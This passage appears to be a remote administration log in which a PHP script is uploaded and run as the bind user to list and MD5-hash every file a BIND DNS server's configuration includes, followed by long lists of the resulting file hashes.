MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-09-04 14:53:22: Establishing a connection
2025-09-04 14:53:22: 

PUT: /tmp/pkp505469

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-09-04 14:53:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp505469; rm /tmp/pkp505469'

2025-09-04 14:53:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-09-04 14:53:52: Establishing a connection
2025-09-04 14:53:52: Establishing a connection
2025-09-04 14:53:52: 

PUT: /tmp/pkp901976

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
